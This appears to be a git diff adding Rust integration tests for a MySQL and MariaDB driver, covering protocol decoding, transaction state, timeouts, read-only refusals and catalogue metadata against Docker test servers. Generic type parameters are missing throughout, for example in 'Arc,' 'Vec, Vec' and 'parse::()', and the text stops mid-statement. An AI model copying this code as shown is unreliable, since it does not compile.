0000000000..535edee90d --- /dev/null +++ b/linux/crates/drivers/mysql/tests/integration/decode.rs @@ -0,0 +1,320 @@ +//! Every value as the server sent it, in both protocols: the binary one +//! the grid reads through and the text one the editor runs over. + +use std::sync::Arc; + +use tablepro_core::column::{BoolStorage, ColumnKind, FloatWidth, TemporalZone}; +use tablepro_core::save::{ChangeSet, RowUpdate, plan_save}; +use tablepro_core::value::Temporal; +use tablepro_core::{Connection, Value}; + +use crate::support::{CALL, FLAVOURS, connect, rows, run_ok, session, setup, start, table, text, within}; + +/// The same SELECT through `query_bound` (binary) and an editor run +/// (text). +async fn both_protocols(connection: &Arc, sql: &str) -> (Vec, Vec) { + let binary = rows(connection.as_ref(), sql).await.remove(0); + let editor = session(connection.as_ref()).await; + let text = run_ok(editor.as_ref(), sql).await.rows().remove(0); + editor.close().await; + (binary, text) +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn unsigned_max_values_decode_in_both_protocols() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE maxima (a TINYINT UNSIGNED, b SMALLINT UNSIGNED, c MEDIUMINT UNSIGNED, \ + d INT UNSIGNED, e BIGINT UNSIGNED)", + "INSERT INTO maxima VALUES (255, 65535, 16777215, 4294967295, 18446744073709551615)", + ], + ) + .await; + + let (binary, text) = both_protocols(&connection, "SELECT a, b, c, d, e FROM maxima").await; + + let expected = vec![ + Value::Int(255), + Value::Int(65_535), + Value::Int(16_777_215), + Value::Int(4_294_967_295), + Value::UInt(u64::MAX), + ]; + assert_eq!(binary, expected, "{flavour:?} binary"); + assert_eq!(text, expected, "{flavour:?} text"); + connection.close().await.expect("a close"); + } +} + +/// An edit keyed by an unsigned id at its maximum binds, matches and +/// changes exactly that row. +async fn edit_by_max_id(connection: &Arc, id_type: &str, id: Value) { + let name = "keyed"; + setup( + connection.as_ref(), + &[&format!( + "CREATE TABLE {name} (id {id_type} PRIMARY KEY, label varchar(20) NOT NULL)" + )], + ) + .await; + let literal = text(&id); + setup( + connection.as_ref(), + &[&format!( + "INSERT INTO {name} VALUES ({literal}, 'before'), (1, 'other')" + )], + ) + .await; + let target = table(name); + let columns = connection + .fetch_columns(&target, within(CALL)) + .await + .expect("the columns"); + let identity = connection + .row_identity(&target, within(CALL)) + .await + .expect("the identity"); + let read = rows( + connection.as_ref(), + &format!("SELECT id FROM {name} WHERE label = 'before'"), + ) + .await; + assert_eq!(read[0][0], id, "the browsed id"); + let label = columns + .iter() + .position(|column| column.name == "label") + .expect("a label column"); + let changes = ChangeSet { + updates: vec![RowUpdate { + key: vec![read[0][0].clone()], + assignments: vec![(label, Value::Text("after".to_owned()))], + }], + ..ChangeSet::default() + }; + let dialect = connection.dialect(); + let plan = plan_save(dialect.as_ref(), &target, &columns, &identity, &changes).expect("a plan"); + + let report = connection + .write_batch(&plan.batch, within(CALL)) + .await + .expect("the edit"); + + assert_eq!(report.rows_affected, [Some(1)]); + let after = rows( + connection.as_ref(), + &format!("SELECT id, label FROM {name} ORDER BY label"), + ) + .await; + assert_eq!(after[0], [id, Value::Text("after".to_owned())]); + assert_eq!(after[1][1], Value::Text("other".to_owned())); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn int_unsigned_max_id_row_edits_through_plan_save() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + edit_by_max_id(&connection, "INT UNSIGNED", Value::Int(4_294_967_295)).await; + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn bigint_unsigned_max_id_edit_affects_one_row() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + edit_by_max_id(&connection, "BIGINT UNSIGNED", Value::UInt(u64::MAX)).await; + connection.close().await.expect("a close"); + } +} + +/// A `_bin` collation makes MySQL flag the column BINARY, which sqlx +/// names VARBINARY; the charset is what decides, so it is still text. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn bin_collation_text_decodes_as_text() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE collated (a varchar(10) COLLATE utf8mb4_bin, b text COLLATE utf8mb4_bin, c varbinary(4))", + "INSERT INTO collated VALUES ('Alpha', 'Beta', 0x00ff)", + ], + ) + .await; + + let (binary, text) = both_protocols(&connection, "SELECT a, b, c FROM collated").await; + + let expected = vec![ + Value::Text("Alpha".to_owned()), + Value::Text("Beta".to_owned()), + Value::Bytes(vec![0x00, 0xff]), + ]; + assert_eq!(binary, expected, "{flavour:?} binary"); + assert_eq!(text, expected, "{flavour:?} text"); + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn wire_only_types_read_back() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE wire (d DECIMAL(65,30), b BIT(10), y YEAR, g GEOMETRY, t TIME, f tinyint(1))", + "INSERT INTO wire VALUES ('12345678901234567890123456789012345.123456789012345678901234567890', \ + b'1010101010', 2024, ST_GeomFromText('POINT(1 2)'), '-838:59:59', 2)", + ], + ) + .await; + + let (binary, text) = both_protocols(&connection, "SELECT d, b, y, g, t, f FROM wire").await; + + for (protocol, values) in [("binary", &binary), ("text", &text)] { + assert_eq!( + tablepro_core::export::value_to_text(&values[0]).as_deref(), + Some("12345678901234567890123456789012345.123456789012345678901234567890"), + "{flavour:?} {protocol}" + ); + assert!( + matches!(&values[1], Value::Bits(bits) if bits.to_u64() == Some(0b10_1010_1010)), + "{flavour:?} {protocol}: {:?}", + values[1] + ); + assert_eq!(values[2], Value::Int(2024), "{flavour:?} {protocol}"); + assert!( + matches!(&values[3], Value::Bytes(bytes) if bytes.len() == 25), + "{flavour:?} {protocol}" + ); + assert!( + matches!(&values[4], Value::Time(time) if time.format(None) == "-838:59:59"), + "{flavour:?} {protocol}: {:?}", + values[4] + ); + assert_eq!(values[5], Value::Int(2), "{flavour:?} {protocol}: tinyint(1) keeps 2"); + } + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn zero_date_is_other() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup(connection.as_ref(), &["CREATE TABLE zero (d date, s datetime)"]).await; + let editor = session(connection.as_ref()).await; + run_ok( + editor.as_ref(), + "SET SESSION sql_mode = ''; INSERT INTO zero VALUES ('0000-00-00', '0000-00-00 00:00:00')", + ) + .await; + editor.close().await; + + let (binary, text) = both_protocols(&connection, "SELECT d, s FROM zero").await; + + for (protocol, values) in [("binary", &binary), ("text", &text)] { + assert!( + matches!(&values[0], Value::Other(other) if other.text == "0000-00-00"), + "{flavour:?} {protocol}: {:?}", + values[0] + ); + assert!( + matches!(&values[1], Value::Other(other) if other.text == "0000-00-00 00:00:00"), + "{flavour:?} {protocol}: {:?}", + values[1] + ); + } + connection.close().await.expect("a close"); + } +} + +/// Whether the catalogue's kind takes the decoded value as its own. +fn accepts(kind: &ColumnKind, value: &Value) -> bool { + match (kind, value) { + (_, Value::Null) => true, + (ColumnKind::Bool(BoolStorage::Integer), Value::Int(_)) => true, + (ColumnKind::Integer(integer), Value::Int(_)) => integer.signed || integer.width.bits() < 64, + (ColumnKind::Integer(integer), Value::UInt(_)) => !integer.signed, + (ColumnKind::Decimal { .. }, Value::Decimal(_)) => true, + (ColumnKind::Float(FloatWidth::F32), Value::Float32(_)) => true, + (ColumnKind::Float(FloatWidth::F64), Value::Float64(_)) => true, + (ColumnKind::Text { .. } | ColumnKind::Enum { .. }, Value::Text(_)) => true, + (ColumnKind::Bytes { .. } | ColumnKind::Spatial, Value::Bytes(_)) => true, + (ColumnKind::Date, Value::Date(Temporal::Finite(_))) => true, + (ColumnKind::Time { .. }, Value::Time(_)) => true, + ( + ColumnKind::Timestamp { + zone: TemporalZone::Naive, + .. + }, + Value::Timestamp(_), + ) => true, + ( + ColumnKind::Timestamp { + zone: TemporalZone::Offset, + .. + }, + Value::TimestampTz(_), + ) => true, + (ColumnKind::Json { .. }, Value::Json(_)) => true, + (ColumnKind::BitString { .. }, Value::Bits(_)) => true, + (ColumnKind::Other, Value::Text(_) | Value::Other(_)) => true, + _ => false, + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn decoded_variants_match_catalog_kinds() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE every (b tinyint(1), i8 tinyint, u8 tinyint unsigned, i16 smallint, i24 mediumint, \ + i32 int, u32 int unsigned zerofill, i64 bigint, u64 bigint unsigned, d decimal(10,2), \ + f float, r double, c char(3), v varchar(10), bin varchar(10) COLLATE utf8mb4_bin, tx text, \ + bl blob, vb varbinary(3), e enum('x','y'), s set('p','q'), dt date, tm time(3), \ + ts datetime(6), st timestamp NULL, y year, bt bit(5), j json, g geometry)", + "INSERT INTO every VALUES (1, -1, 200, -2, -3, -4, 5, -6, 7, 1.25, 1.5, 2.5, 'abc', 'v', 'B', \ + 'text', 0x01, 0x02, 'x', 'p,q', '2025-01-02', '-01:02:03.004', '2025-01-02 03:04:05.000006', \ + '2025-01-02 03:04:05', 1999, b'10101', '{\"k\": 1}', ST_GeomFromText('POINT(0 0)'))", + ], + ) + .await; + let columns = connection + .fetch_columns(&table("every"), within(CALL)) + .await + .expect("the columns"); + + let values = rows(connection.as_ref(), "SELECT * FROM every").await.remove(0); + + assert_eq!(columns.len(), values.len()); + for (column, value) in columns.iter().zip(&values) { + assert!( + accepts(&column.column_type.kind, value), + "{flavour:?}: {} is {:?} but read as {value:?}", + column.name, + column.column_type.kind + ); + } + connection.close().await.expect("a close"); + } +} diff --git a/linux/crates/drivers/mysql/tests/integration/editor_session.rs b/linux/crates/drivers/mysql/tests/integration/editor_session.rs new file mode 100644 index 0000000000..cb3652e421 --- /dev/null +++ b/linux/crates/drivers/mysql/tests/integration/editor_session.rs @@ -0,0 +1,75 @@ +//! Where an editor session stands with a transaction, asked of the +//! server: MariaDB's @@in_transaction, MySQL's performance_schema. + +use tablepro_core::{CallOptions, EditorSession, TransactionState}; +use tablepro_test_fixtures::MysqlFlavour; + +use crate::support::{CALL, connect, connect_root, run_ok, session, start, within}; + +async fn state_after(session: &dyn EditorSession, sql: &str) -> TransactionState { + let (summary, _) = crate::support::run(session, sql).await; + summary.transaction_state +} + +fn options() -> CallOptions { + within(CALL) +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn transaction_state_mariadb_in_transaction() { + let fixture = start(MysqlFlavour::Mariadb).await; + let connection = connect(&fixture, false).await; + let editor = session(connection.as_ref()).await; + + assert_eq!(state_after(editor.as_ref(), "SELECT 1").await, TransactionState::Idle); + assert_eq!( + state_after(editor.as_ref(), "BEGIN").await, + TransactionState::InTransaction + ); + assert_eq!( + editor.transaction_state(options()).await, + Ok(TransactionState::InTransaction) + ); + assert_eq!(state_after(editor.as_ref(), "COMMIT").await, TransactionState::Idle); + editor.close().await; + connection.close().await.expect("a close"); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn mysql_root_in_transaction() { + let fixture = start(MysqlFlavour::Mysql).await; + let connection = connect_root(&fixture).await; + let editor = session(connection.as_ref()).await; + run_ok(editor.as_ref(), "CREATE TABLE t (id int PRIMARY KEY)").await; + + assert_eq!(state_after(editor.as_ref(), "SELECT 1").await, TransactionState::Idle); + assert_eq!( + state_after(editor.as_ref(), "BEGIN; INSERT INTO t VALUES (1)").await, + TransactionState::InTransaction + ); + assert_eq!( + editor.transaction_state(options()).await, + Ok(TransactionState::InTransaction) + ); + assert_eq!(state_after(editor.as_ref(), "ROLLBACK").await, TransactionState::Idle); + editor.close().await; + connection.close().await.expect("a close"); +} + +/// A login that cannot read performance_schema gets Unknown, never a +/// guess, and its runs still complete. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn mysql_user_without_ps_select_unknown() { + let fixture = start(MysqlFlavour::Mysql).await; + let connection = connect(&fixture, false).await; + let editor = session(connection.as_ref()).await; + + assert_eq!(state_after(editor.as_ref(), "BEGIN").await, TransactionState::Unknown); + assert_eq!(editor.transaction_state(options()).await, Ok(TransactionState::Unknown)); + run_ok(editor.as_ref(), "COMMIT").await; + editor.close().await; + connection.close().await.expect("a close"); +} diff --git a/linux/crates/drivers/mysql/tests/integration/flavour_suite.rs b/linux/crates/drivers/mysql/tests/integration/flavour_suite.rs new file mode 100644 index 0000000000..0f58ee5daf --- /dev/null +++ b/linux/crates/drivers/mysql/tests/integration/flavour_suite.rs @@ -0,0 +1,477 @@ +//! What the driver promises on both MySQL 8.4 and MariaDB 11.4: the +//! session it sets up, how it stops statements, and how saves fail. + +use std::time::Duration; + +use tablepro_core::{ + DriverError, ReadOnlyRefusal, RowLimit, RunEnd, RunOptions, TimeoutPhase, Value, WorkspaceSettings, WriteKind, +}; +use tablepro_test_fixtures::{MysqlFlavour, MysqlOptions}; +use tokio_util::sync::CancellationToken; + +use crate::support::{ + CALL, FLAVOURS, apply, connect, connect_root, connect_settings, count, rows, run, run_ok, run_with, scalar, + session, session_scalar, setup, start, start_with, statement, within, +}; + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn server_info_product_flavour() { + for (flavour, product) in [(MysqlFlavour::Mysql, "MySQL"), (MysqlFlavour::Mariadb, "MariaDB")] { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + + let info = connection.server_info(); + assert_eq!(info.product, product); + let expected = match flavour { + MysqlFlavour::Mysql => (8, 4), + MysqlFlavour::Mariadb => (11, 4), + }; + assert_eq!((info.major, info.minor), expected, "{}", info.version); + connection.close().await.expect("a close"); + } +} + +/// sqlx would turn PIPES_AS_CONCAT on and pin the zone; neither may +/// reach a session, so `||` stays OR and the editor keeps the server's +/// zone. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn pipes_as_concat_off_time_zone_system() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + + assert_eq!( + scalar(connection.as_ref(), "SELECT 'a' || 'b'").await, + Value::Int(0), + "{flavour:?}" + ); + let editor = session(connection.as_ref()).await; + assert_eq!( + session_scalar(editor.as_ref(), "SELECT @@session.time_zone = @@global.time_zone").await, + "1", + "{flavour:?}" + ); + editor.close().await; + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn editor_collation_connection_matches_server_default() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + let editor = session(connection.as_ref()).await; + + assert_eq!( + session_scalar( + editor.as_ref(), + "SELECT @@collation_connection = COLLATION(_utf8mb4'x')" + ) + .await, + "1", + "{flavour:?}" + ); + let collation = session_scalar(editor.as_ref(), "SELECT @@collation_connection").await; + assert_ne!(collation, "utf8mb4_unicode_ci", "{flavour:?}"); + editor.close().await; + connection.close().await.expect("a close"); + } +} + +/// A TIMESTAMP written in one zone reads in the workspace as the instant +/// it is, with a UTC offset. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn workspace_timestamp_decodes_utc_offset() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &["CREATE TABLE stamps (id int PRIMARY KEY, at timestamp(3) NULL)"], + ) + .await; + let editor = session(connection.as_ref()).await; + run_ok( + editor.as_ref(), + "SET time_zone = '+05:00'; INSERT INTO stamps VALUES (1, '2025-01-01 10:00:00.250')", + ) + .await; + editor.close().await; + + let value = scalar(connection.as_ref(), "SELECT at FROM stamps").await; + let Value::TimestampTz(tablepro_core::value::Temporal::Finite(instant)) = value else { + panic!("{flavour:?}: the TIMESTAMP read as {value:?}"); + }; + assert_eq!(instant.offset().local_minus_utc(), 0); + assert_eq!( + instant.utc().format("%Y-%m-%d %H:%M:%S%.3f").to_string(), + "2025-01-01 05:00:00.250" + ); + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn two_result_set_script_two_started() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + let editor = session(connection.as_ref()).await; + + let events = run_ok(editor.as_ref(), "SELECT 1; SELECT 2, 3").await; + + assert_eq!(events.started(), 2, "{flavour:?}"); + assert_eq!(events.rows().len(), 2, "{flavour:?}"); + editor.close().await; + connection.close().await.expect("a close"); + } +} + +/// The server parses a routine body itself, so a script that creates +/// one runs as written, with or without the mysql client's DELIMITER. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn create_trigger_and_procedure_in_session() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + let editor = session(connection.as_ref()).await; + + run_ok( + editor.as_ref(), + "CREATE TABLE tt (a int); \ + CREATE TRIGGER tt_bump BEFORE INSERT ON tt FOR EACH ROW BEGIN SET NEW.a = NEW.a + 1; END; \ + CREATE PROCEDURE answer() BEGIN SELECT 41 + 1 AS answer; END", + ) + .await; + run_ok( + editor.as_ref(), + "DELIMITER //\nCREATE PROCEDURE twice() BEGIN SELECT 1; SELECT 2; END//\nDELIMITER ;\nINSERT INTO tt VALUES (1);", + ) + .await; + + assert_eq!( + session_scalar(editor.as_ref(), "CALL answer()").await, + "42", + "{flavour:?}" + ); + assert_eq!( + session_scalar(editor.as_ref(), "SELECT a FROM tt").await, + "2", + "{flavour:?}" + ); + let events = run_ok(editor.as_ref(), "CALL twice()").await; + assert_eq!(events.started(), 2, "{flavour:?}"); + editor.close().await; + connection.close().await.expect("a close"); + } +} + +/// A cancelled SLEEP leaves the editor's thread idle on the server. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn sleep_30_cancelled_thread_idle() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + let editor = session(connection.as_ref()).await; + let editor_id = session_scalar(editor.as_ref(), "SELECT CONNECTION_ID()").await; + let cancel = CancellationToken::new(); + let cancelling = { + let cancel = cancel.clone(); + async move { + tokio::time::sleep(Duration::from_millis(500)).await; + cancel.cancel(); + } + }; + + let ((summary, _), ()) = tokio::join!( + run_with(editor.as_ref(), "SELECT SLEEP(30)", RunOptions::new(cancel)), + cancelling + ); + + assert_eq!(summary.end, RunEnd::Cancelled, "{flavour:?}"); + let command = scalar( + connection.as_ref(), + &format!("SELECT COMMAND FROM information_schema.PROCESSLIST WHERE ID = {editor_id}"), + ) + .await; + assert_eq!(command, Value::Text("Sleep".to_owned()), "{flavour:?}"); + assert_eq!(session_scalar(editor.as_ref(), "SELECT 7").await, "7"); + editor.close().await; + connection.close().await.expect("a close"); + } +} + +/// A read-only connection refuses a save itself, and its editor session +/// is refused by the server with 1792, for a row change and DDL alike. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn read_only_insert_and_create_1792() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let owner = connect(&fixture, false).await; + setup(owner.as_ref(), &["CREATE TABLE ro (id int PRIMARY KEY)"]).await; + let reader = connect(&fixture, true).await; + + let saved = apply(reader.as_ref(), WriteKind::RowChanges, &["INSERT INTO ro VALUES (1)"]).await; + assert_eq!(saved, Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard))); + + let editor = session(reader.as_ref()).await; + for sql in ["INSERT INTO ro VALUES (1)", "CREATE TABLE ro_created (id int)"] { + let (summary, _) = run(editor.as_ref(), sql).await; + let number = match &summary.end { + RunEnd::Failed(DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(diagnostics))) => { + diagnostics.code.as_ref().map(ToString::to_string) + } + other => panic!("{flavour:?}: `{sql}` ended {other:?}"), + }; + assert_eq!(number.as_deref(), Some("1792"), "{flavour:?}"); + } + assert_eq!(count(owner.as_ref(), "SELECT COUNT(*) FROM ro").await, 0); + editor.close().await; + reader.close().await.expect("a close"); + owner.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn statement_timeout_1s_sleep_2_timeout() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let settings = WorkspaceSettings { + statement_timeout: Duration::from_secs(1), + ..WorkspaceSettings::workspace(false) + }; + let connection = connect_settings(&fixture, settings).await; + + let outcome = connection + .query_bound( + &statement("SELECT 1 FROM DUAL WHERE SLEEP(2) = 0"), + RowLimit::EDITOR_DEFAULT, + within(CALL), + ) + .await; + + assert!( + matches!( + outcome, + Err(DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true + }) + ), + "{flavour:?}: {outcome:?}" + ); + assert_eq!(scalar(connection.as_ref(), "SELECT 1").await, Value::Int(1)); + connection.close().await.expect("a close"); + } +} + +/// MariaDB's statement bound is lifted for a schema change and put back +/// on the same connection afterwards. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn mariadb_schema_changes_restores_max_statement_time() { + let fixture = start(MysqlFlavour::Mariadb).await; + let settings = WorkspaceSettings { + statement_timeout: Duration::from_secs(1), + ..WorkspaceSettings::workspace(false) + }; + let connection = connect_settings(&fixture, settings).await; + + apply( + connection.as_ref(), + WriteKind::SchemaChanges, + &["CREATE TABLE slow AS SELECT SLEEP(2) AS id"], + ) + .await + .expect("the schema change ran past the statement bound"); + + let bound = scalar(connection.as_ref(), "SELECT @@SESSION.max_statement_time").await; + let seconds = tablepro_core::export::value_to_text(&bound).and_then(|text| text.parse::().ok()); + assert_eq!(seconds, Some(1.0), "{bound:?}"); + connection.close().await.expect("a close"); +} + +/// A row another session holds makes a save wait out the lock bound and +/// fail as a lock wait, with nothing applied. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn lock_wait_timeout_1205() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let settings = WorkspaceSettings { + lock_timeout: Duration::from_secs(1), + ..WorkspaceSettings::workspace(false) + }; + let connection = connect_settings(&fixture, settings).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE locked (id int PRIMARY KEY, v int) ENGINE=InnoDB", + "INSERT INTO locked VALUES (1, 0)", + ], + ) + .await; + let holder = session(connection.as_ref()).await; + run_ok(holder.as_ref(), "BEGIN; UPDATE locked SET v = 1 WHERE id = 1").await; + + let outcome = crate::support::apply_on( + connection.as_ref(), + WriteKind::RowChanges, + &crate::support::table("locked"), + &["UPDATE locked SET v = 2 WHERE id = 1"], + ) + .await; + + let source = match &outcome { + Err(DriverError::RolledBack { + statement_index: 0, + source, + }) => source.as_ref(), + other => panic!("{flavour:?}: {other:?}"), + }; + assert!( + matches!( + source, + DriverError::Timeout { + phase: TimeoutPhase::LockWait, + .. + } + ), + "{flavour:?}: {source:?}" + ); + run_ok(holder.as_ref(), "ROLLBACK").await; + holder.close().await; + connection.close().await.expect("a close"); + } +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn mysql_expression_index_key() { + let fixture = start(MysqlFlavour::Mysql).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE people (id int PRIMARY KEY, name varchar(50))", + "CREATE INDEX people_lower ON people ((lower(name)) DESC, id)", + ], + ) + .await; + + let indexes = connection + .fetch_indexes(&crate::support::table("people"), within(CALL)) + .await + .expect("the indexes"); + + let index = indexes + .iter() + .find(|index| index.name == "people_lower") + .expect("the expression index"); + assert!( + matches!( + &index.keys[0], + tablepro_core::meta::IndexKey::Expression { sql, descending: true } if sql.contains("lower") + ), + "{:?}", + index.keys + ); + assert_eq!(index.keys[1].column_name(), Some("id")); + assert!(indexes.iter().any(|index| index.primary)); + connection.close().await.expect("a close"); +} + +/// DDL commits as it goes: a failure at the second statement leaves the +/// first applied. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn schema_changes_second_statement_fails_partially_applied() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + + let outcome = apply( + connection.as_ref(), + WriteKind::SchemaChanges, + &["CREATE TABLE first_made (id int)", "CREATE TABLE first_made (id int)"], + ) + .await; + + assert!( + matches!( + outcome, + Err(DriverError::PartiallyApplied { + applied: 1, + statement_index: 1, + .. + }) + ), + "{flavour:?}: {outcome:?}" + ); + assert_eq!(count(connection.as_ref(), "SELECT COUNT(*) FROM first_made").await, 0); + connection.close().await.expect("a close"); + } +} + +/// The workspace pins backslashes to be escapes whatever the server's +/// global sql_mode; an editor session keeps the server's mode. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn workspace_session_strips_no_backslash_escapes() { + for flavour in FLAVOURS { + let options = MysqlOptions::new(flavour) + .allowing_plaintext() + .with_server_argument("--sql-mode=NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES"); + let fixture = start_with(options).await; + let connection = connect(&fixture, false).await; + + let mode = scalar(connection.as_ref(), "SELECT @@SESSION.sql_mode").await; + let mode = crate::support::text(&mode); + assert!(!mode.contains("NO_BACKSLASH_ESCAPES"), "{flavour:?}: {mode}"); + assert!(mode.contains("STRICT_TRANS_TABLES"), "{flavour:?}: {mode}"); + assert_eq!( + scalar(connection.as_ref(), r"SELECT LENGTH('a\\b')").await, + Value::Int(3) + ); + + let editor = session(connection.as_ref()).await; + assert_eq!( + session_scalar(editor.as_ref(), r"SELECT LENGTH('a\\b')").await, + "4", + "{flavour:?}" + ); + editor.close().await; + connection.close().await.expect("a close"); + } +} + +/// caching_sha2_password over plaintext TCP falls back to full +/// authentication, which needs sqlx's RSA support. +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn caching_sha2_without_tls_uses_rsa() { + let fixture = start(MysqlFlavour::Mysql).await; + let root = connect_root(&fixture).await; + + let plugin = rows( + root.as_ref(), + "SELECT plugin FROM mysql.user WHERE user = 'tablepro' AND host = '%'", + ) + .await; + + assert_eq!(plugin[0][0], Value::Text("caching_sha2_password".to_owned())); + let connection = connect(&fixture, false).await; + assert_eq!(scalar(connection.as_ref(), "SELECT 1").await, Value::Int(1)); + connection.close().await.expect("a close"); + root.close().await.expect("a close"); +} diff --git a/linux/crates/drivers/mysql/tests/integration/main.rs b/linux/crates/drivers/mysql/tests/integration/main.rs new file mode 100644 index 0000000000..35ba8817c5 --- /dev/null +++ b/linux/crates/drivers/mysql/tests/integration/main.rs @@ -0,0 +1,17 @@ +//! MySQL and MariaDB against real servers. Every test that needs one +//! starts its own container and is ignored without Docker. + +#![expect( + clippy::expect_used, + reason = "the setup helpers fail a test the way the test functions themselves do" +)] + +mod conformance_engine; +mod decode; +mod editor_session; +mod flavour_suite; +mod metadata; +mod non_transactional; +mod row_limit; +mod support; +mod tls; diff --git a/linux/crates/drivers/mysql/tests/integration/metadata.rs b/linux/crates/drivers/mysql/tests/integration/metadata.rs new file mode 100644 index 0000000000..009348f756 --- /dev/null +++ b/linux/crates/drivers/mysql/tests/integration/metadata.rs @@ -0,0 +1,343 @@ +//! The catalogue as the structure tab and the filters read it. + +use tablepro_core::column::{BoolStorage, ColumnKind, IntegerKind, IntegerWidth}; +use tablepro_core::ddl::{ColumnVisibility, GeneratedStorage, IdentityStyle}; +use tablepro_core::dialect::{BindTarget, LikeForm, SqlDialect}; +use tablepro_core::meta::{ObjectKind, ObjectScope}; +use tablepro_core::statement::StatementBuilder; +use tablepro_core::{Connection, RowLimit, Value}; +use tablepro_test_fixtures::MysqlFlavour; + +use crate::support::{CALL, FLAVOURS, connect, rows, setup, start, table, within}; + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn catalog_classifies_unsigned_zerofill_year_bit_enum() { + for flavour in FLAVOURS { + let fixture = start(flavour).await; + let connection = connect(&fixture, false).await; + setup( + connection.as_ref(), + &[ + "CREATE TABLE kinds (z int(10) unsigned zerofill, d decimal(10,2) unsigned, y year, b bit(10), \ + e enum('it''s','a\\\\b'), f tinyint(1))", + "INSERT INTO kinds (e) VALUES ('it''s'), ('a\\\\b')", + ], + ) + .await; + + let columns = connection + .fetch_columns(&table("kinds"), within(CALL)) + .await + .expect("the columns"); + + let kinds: Vec<&ColumnKind> = columns.iter().map(|column| &column.column_type.kind).collect(); + assert_eq!( + kinds[0], + &ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W32, + signed: false + }), + "{flavour:?}" + ); + assert_eq!( + kinds[1], + &ColumnKind::Decimal { + precision: Some(10), + scale: Some(2) + } + ); + assert_eq!( + kinds[2], + &ColumnKind::Integer(IntegerKind { + width: IntegerWidth::W16, + signed: false + }) + ); + assert_eq!( + kinds[3], + &ColumnKind::BitString { + length: Some(10), + varying: false + } + ); + let labels = vec!["it's".to_owned(), r"a\b".to_owned()]; + assert_eq!( + kinds[4], + &ColumnKind::Enum { + labels: labels.clone(), + multiple: false + }, + "{flavour:?}" + ); + assert_eq!(kinds[5], &ColumnKind::Bool(BoolStorage::Integer)); + let read: Vec = 